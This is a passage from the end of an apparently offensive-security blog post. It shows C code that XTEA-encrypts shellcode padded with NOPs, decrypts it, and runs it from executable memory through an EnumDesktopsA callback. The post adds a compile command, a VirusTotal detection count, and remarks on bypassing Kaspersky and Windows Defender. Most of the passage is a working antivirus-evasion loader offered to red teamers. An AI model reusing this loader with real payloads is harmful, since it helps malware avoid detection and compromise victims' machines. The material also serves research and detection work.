  memset(padded, 0x90, pad_len);
  memcpy(padded, my_payload, len);

  // encrypt the padded shellcode
  for (int i = 0; i < pad_len / sizeof(unsigned int); i += 2) {
    xtea_encrypt(&padded[i], key);
  }

  printf("encrypted:\n");
  for (int i = 0; i < pad_len; i++) {
    printf("\\x%02x", ((unsigned char *)padded)[i]);
  }
  printf("\n\n");

  // decrypt the padded shellcode
  for (int i = 0; i < pad_len / sizeof(unsigned int); i += 2) {
    xtea_decrypt(&padded[i], key);
  }

  printf("decrypted:\n");
  for (int i = 0; i < pad_len; i++) {
    printf("\\x%02x", ((unsigned char *)padded)[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, sizeof(padded), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, padded, pad_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);

  free(padded);
  return 0;
}

As you can see, first of all, before encrypting, we use padding via the NOP (\x90) instructions. For this example, use the meow-meow messagebox payload as usual.

demo

Let’s go to see this trick in action. Compile our β€œmalware”:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

av-evasion

As you can see, our decrypted shellcode is modified: padding \x90 is working as expected:

av-evasion

For correcntess, firstly I just print it without running β€œmalicious” messagebox.

Then, compile and run it again with shellcode logic:

.\hack.exe

av-evasion

Upload our sample to VirusTotal:

av-evasion

https://www.virustotal.com/gui/file/29d9599e7c46f3680ed29428b7e6afa2061215e7f9baeedcb3fa03ddbde57774/detection

18 of of 72 AV engines detect our file as malicious as expected.

I think it is quite possible to achieve a bypass Kaspersky and Windows Defender (static analysis) in local lab.

Of course, this result is justified by the fact that the method of launching the shellcode is not new, also payload is generated by msfvenom.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

MITRE ATT&CK: T1027
XTEA
AV evasion: part 1
AV evasion: part 2
Shannon entropy
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

❌